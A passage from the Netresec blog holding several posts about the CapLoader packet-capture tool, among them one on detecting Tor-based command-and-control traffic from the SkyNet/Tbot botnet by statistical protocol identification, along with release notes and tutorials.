8 0.259408 86.59.21.38 -> 172.16.253.130 TCP 60 443 > 1565 [ACK] Seq=937 Ack=401 Win=64240 Len=0
9 0.379712 86.59.21.38 -> 172.16.253.130 TLSv1 113 Change Cipher Spec, Encrypted Handshake Message
10 0.380009 172.16.253.130 -> 86.59.21.38 TLSv1 251 Encrypted Handshake Message

A Tor session to TCP port 443, decoded by tshark as if it was HTTPS

The thsark output above looks no different from when a real HTTPS session is being analyzed. So in order to detect Tor traffic one will need to apply some sort of traffic classification or application identification. However, most implementations for protocol identification rely on either port number inspection or protocol specification validation. But Tor often communicate over TCP 443 and it also follows the TLS protocol spec (RFC 2246), because of this most products for intrusion detection and deep packet inspection actually fail at identifying Tor traffic. A successful method for detecting Tor traffic is to instead utilize statistical analysis of the communication protocol in order to tell different SSL implementations apart. One of the very few tools that has support for protocol identification via statistical analysis is CapLoader.

CapLoader provides the ability to differentiate between different types of SSL traffic without relying on port numbers. This means that Tor sessions can easily be identified in a network full of HTTPS traffic.


Analyzing the tbot PCAPs from Contagio

@snowfl0w provides some nice analysis of the SkyNet botnet (a.k.a. Trojan.Tbot) at the Contagio malware dump, where she also provides PCAP files with the network traffic generated by the botnet.

The following six PCAP files are provided via Contagio:

  1. tbot_191B26BAFDF58397088C88A1B3BAC5A6.pcap (7.55 MB)
  2. tbot_23AAB9C1C462F3FDFDDD98181E963230.pcap (3.24 MB)
  3. tbot_2E1814CCCF0C3BB2CC32E0A0671C0891.pcap (4.08 MB)
  4. tbot_5375FB5E867680FFB8E72D29DB9ABBD5.pcap (5.19 MB)
  5. tbot_A0552D1BC1A4897141CFA56F75C04857.pcap (3.97 MB) [only outgoing packets]
  6. tbot_FC7C3E087789824F34A9309DA2388CE5.pcap (7.43 MB)

Unfortunately the file “tbot_A055[...]” only contains outgoing network traffic. This was likely caused by an incorrect sniffer setup, such as a misconfigured switch monitor port (aka SPAN port) or failure to capture the traffic from both monitor ports on a non-aggregating network tap (we recommend using aggregation taps in order to avoid these types of problems, see our sniffing tutorial for more details). The analysis provided here is therefore based on the other five pcap files provided by Contagio.

Here is a timeline with relative timestamps (the frame timestamps in the provided PCAP files were way of anyway, we noticed an offset of over 2 months!):

  • 0 seconds : Victim boots up and requests an IP via DHCP
  • 5 seconds : Victim perform a DNS query for time.windows.com
  • 6 seconds : Victim gets time via NTP
    ---{malware most likely gets executed here somewhere}---
  • 22 seconds : Victim performs DNS query for checkip.dyndns.org
  • 22 seconds : Victim gets its external IP via an HTTP GET request to checkip.dyndns.org
  • 23 seconds : Victim connects to the Tor network, typically on port TCP 9001 or 443
    ---{lots of Tor traffic from here on}---

This is what it looks like when one of the tbot pcap files has been loaded into CapLoader with the “Identify protocols” feature activated:
CapLoader detecting Tor protocol
CapLoader with protocol detection in action - see “TOR” in the “Sub_Protocol” column

Notice how the flows to TCP ports 80, 9101 and 443 are classified as Tor? The statistical method for protocol detection in CapLoader is so effective that CapLoader actually ignores port numbers altogether when identifying the protocol. The speed with which CapLoader parses PCAP files also enables analysis of very large capture files. A simple way to detect Tor traffic in large volumes of network traffic is therefore to load a capture file into CapLoader (with “Identify protocols” activated), sort the flows on the “Sub_Protocol” column, and scroll down to the flows classified as Tor protocol.


Beware of more Tor backdoors

Most companies and organizations allow traffic on TCP 443 to pass through their firewalls without content inspection. The privacy provided by Tor additionally makes it easy for a botnet herder to control infected machines without risking his identity to be revealed. These two factors make Tor a perfect fit for hackers and online criminals who need to control infected machines remotely.

Here is what Claudio Guarnieri says about the future use of Tor for botnets in his Rapid7 blog post:

“The most important factor is certainly the adoption of Tor as the main communication channel and the use of Hidden Services for protecting the backend infrastructure. While it’s surprising that not more botnets adopt the same design, we can likely expect more to follow the lead in the future.”

Incident responders will therefore need to learn how to detect Tor traffic in their networks, not just in order to deal with insiders or rogue users, but also in order to counter malware using it as part of their command-and-control infrastructure. However, as I've shown in this blog post, telling Tor apart from normal SSL traffic is difficult. But making use of statistical protocol detection, such as the Port Independent Protocol Identification (PIPI) feature provided with CapLoader, is in fact an effective method to detect Tor traffic in your networks.

Posted by Erik Hjelmvik on Saturday, 06 April 2013 20:55:00 (UTC/GMT)

Tags: #CapLoader #TOR #Protocol Identification #SSL #TLS #HTTPS #PCAP #PIPI

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=13400BE


Analyzing 85 GB of PCAP in 2 hours

Hadoop photo by Robert Scoble

Lets say you've collected around 100 GB of PCAP files in a network monitoring installation. How would you approach the task of looking at the application layer data of a few of the captured sessions or flows?

For much smaller datasets, in the order of 100 MB, one would typically load the PCAP into Wireshark and perform ”Follow TCP Stream” on a few sessions to see what's going on. But loading gigabyte datasets into Wireshark doesn't scale very well, in fact Wireshark will typically run out of RAM and crash saying “Out Of Memory!” or just “Wireshark has stopped working”. Ulf Lamping explains why on the Wireshark Wiki:

“Wireshark uses memory to store packet meta data (e.g. conversation and fragmentation related data) and to display this info on the screen.
[...]
I need memory about ten times the actual capture file size”

The solution I'm proposing is to instead download the free version of CapLoader, load the PCAP files into CapLoader and perform ”Flow Transcript” on a few of the flows. So how long time would it take to do this on 100 GB of PCAP files? I did a quick test and loaded the 85 GB dataset from ISCX 2012 into CapLoader on an ordinary laptop computer. After just 1 hour 47 minutes all of the PCAP files from ISCX 2012 were loaded and indexed by CapLoader! Also, please note that datasets this large can be parsed in less than 30 minutes with a more powerful PC.

After having loaded all the PCAP files CapLoader presents a list of all the 2.066.653 indexed flows from the ISCX 2012 dataset. Right-clicking a UDP or TCP flow brings up a context menu that allows you to generate a “Flow Transcript”, this feature is basically the same thing as Wireshark's “Follow TCP Stream”.

Right-click a flow in CapLoader
CapLoader Flow Transcript
CapLoader's Flow Transcript View

You can, of course, always extract the frames from any flow directly to Wireshark if you aren't ready to abandon Wireshark's Follow TCP Stream just yet. A flow is extracted simply by selecting a flow in the list and then doing drag-and-drop from CapLoader's PCAP icon (at the top right) onto Wireshark.

Drag-and-Drop from CapLoader to Wireshark
Wireshark follow TCP stream

The fact that CapLoader parses and indexes large PCAP files very fast and that the analyst is provided with powerful tools, like the Transcript feature, to look at the raw packet data makes it possible to perform big-data network traffic analysis using an ordinary PC. This means that you do NOT need to upload your network traffic to the Cloud, or build a 100-machine cluster, in order to let a Hadoop instance parse though your multi-gigabyte packet captures. All you need is an ordinary PC and a copy of CapLoader.

For more information about CapLoader please have a look at our blog post highliting the new features in version 1.1 of CapLoader or browse through all our blog posts about CapLoader.

This blog post makes use of the UNB ISCX 2012 Intrusion Detection Evaluation Dataset, which is created by Ali Shiravi, Hadi Shiravi, and Mahbod Tavallaee from University of New Brunswick


UPDATE 2016-05-23

With the release of CapLoader 1.4 it is now possible to perform flow transcripts not only from the Flows tab, but also from the Services and Hosts tab. In these cases the transcript will be that of the first flow of the selected service or host.

Posted by Erik Hjelmvik on Thursday, 24 January 2013 12:20:00 (UTC/GMT)

Tags: #CapLoader #PCAP #gigabyte #GB #Wireshark #Follow TCP Stream #transcript #Big Data

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=13135F8


CapLoader 1.1 Released

CapLoader Logo Version 1.1 of the super-fast PCAP parsing tool CapLoader is being released today. CapLoader is the ideal tool for digging through large volumes of PCAP files. Datasets in the GB and even TB order can be loaded into CapLoader to produce a clear view of all TCP and UDP flows. CapLoader also provides instantaneous access to the raw packets of each flow, which makes it a perfect preloader tool in order to select and export interesting data to other tools like NetworkMiner or Wireshark.

Drag-and-Drop PCAP from CapLoader to Wireshark
Five flows being extracted from Honeynet.org's SOTM 28 to Wireshark with CapLoader

New functionality in version 1.1

New features in version 1.1 of CapLoader are:

  • PcapNG support
  • Fast transcript of TCP and UDP flows (similar to Wireshark's ”Follow TCP Stream”)
  • Better port agnostic protocol identification; more protocols and better precision (over 100 protocols and sub-protocols can now be identified, including Skype and the C&C protocol of Poison Ivy RAT)
  • A “Hosts” tab containing a list of all transmitting hosts and information about open ports, operating system as well as Geo-IP localization (using GeoLite data created by MaxMind)
  • Gzip compressed capture files can be opened directly with CapLoader
  • Pcap files can be loaded directly from an URL

CapLoader Flow Transcript aka Follow TCP Stream
Flow transcript of Honeynet SOTM 28 pcap file day3.log

Free Trial Version

Another thing that is completely new with version 1.1 of CapLoader is that we now provide a free trial version for download. The CapLoader trial is free to use for anyone and we don't even require trial users to register their email addresses when downloading the software.

There are, of course, a few limitations in the trial version; such as no protocol identification, OS fingerprinting or GeoIP localization. There is also a limit as to how many gigabyte of data that can be loaded with the CapLoader trial at a time. This size limit is 500 GB, which should by far exceed what can be loaded with competing commercial software like Cascade Pilot and NetWitness Investigator.

The professional edition of CapLoader doesn't have any max PCAP limit whatsoever, which allows for terabytes of capture files to be loaded.

CapLoader with TCP and UDP flows view
CapLoader's Flows view showing TCP and UDP flows

CapLoader with Hosts view
CapLoader's Hosts view showing identified hosts on the network

Getting CapLoader

The trial version of CapLoader can be downloaded from the CapLoader product page. The professional edition of CapLoader can be bought at our Purchase CapLoader page.

CapLoader USB flash drive
The CapLoader USB flash drive

Customers who have previously bought CapLoader 1.0 can upgrade to version 1.1 by downloading an update from our customer portal.

For more information about CapLoader please see our previous blog post Fast analysis of large pcap files with CapLoader

Posted by Erik Hjelmvik on Monday, 21 January 2013 11:45:00 (UTC/GMT)

Tags: #CapLoader #PcapNG #PCAP #GB #gigabyte #capture #flow #transcript #free

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1310CE5


CapLoader Video Tutorial

CapLoader Logo

Below is a short video tutorial showing some of the cool features in CapLoader 1.0.

The functionality showed in the video includes:

  • Loading multiple pcap files into a single flow view
  • Port Independent Protocol Identification (PIPI)
  • Fast extraction of packets related to one or several flows
  • Exporting packets to Wireshark and NetworkMiner
  • Drag-and-dropping packets to Wireshark
  • Selecting a flow based on an IDS alert from Snort
  • Extracting packets from a selected flow to a new pcap file

The video can also be seen on YouTube at the following URI:
http://youtu.be/n1Ir9Hedca4?hd=1

The three pcap files loaded in the video tutorial are from the DFRWS 2009 Challenge.

Enjoy!

Posted by Erik Hjelmvik on Monday, 30 April 2012 14:35:00 (UTC/GMT)

Tags: #CapLoader #Video #Pcap #Wireshark #NetworkMiner #Flow #TCP #Extract #Fast

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=124DA49


Fast analysis of large pcap files with CapLoader

CapLoader Logo

Are you working with large pcap files and need to see the “whole picture” while still being able to quickly drill down to individual packets for a TCP or UDP flow? Then this is your lucky day, since we at Netresec are releasing our new tool CapLoader today!

Here are the main features of CapLoader:

  • Fast loading of multi-gigabyte PCAP files (1 GB loads in less than 2 minutes on a standard PC and even faster on multi-core machines).
  • GUI presentation of all TCP and UDP flows in the loaded PCAP files.
  • Automatic identification of application layer protocols without relying on port numbers.
  • Extremely fast drill-down functionality to open packets from one or multiple selected flows.
  • Possibility to export packets from selected flows to a new PCAP file or directly open them in external tools like Wireshark and NetworkMiner.

CapLoader identifying Rootkit SSH backdoor on TCP 5001
CapLoader with files from Honeynet SOTM 28 loaded. The application layer protocol from the rootkit backdoor on TCP 5001 is automatically identified as "SSH".

The typical process of working with CapLoader is:

  1. Open one or multiple pcap files, typically by drag-and-dropping them onto the CapLoader GUI.
    CapLoader loading a pcap file with drag-and-drop
  2. Mark the flows of interest.
    CapLoader selecting flows / sessions
  3. Double click the PCAP icon to open the selected sessions in your default pcap parser (typically Wireshark) or better yet, do drag-and-drop from the PCAP icon to your favorite packet analyzer.
    CapLoader exporting packets to NetworkMiner

In short, CapLoader will significantly speed up the analysis process of large network captures while also empowering analysts with a unique protocol identification ability. We at Netresec see CapLoader as the perfect tool for everyone who want to perform analysis on “big data” network captures.

More information about CapLoader is available on caploader.com.

Posted by Erik Hjelmvik on Monday, 02 April 2012 19:55:00 (UTC/GMT)

Tags: #Netresec #CapLoader #Fast #Big Data #PCAP #Flow

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1246698

twitter

NETRESEC on Twitter

Follow @netresec on twitter:
» twitter.com/netresec


book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)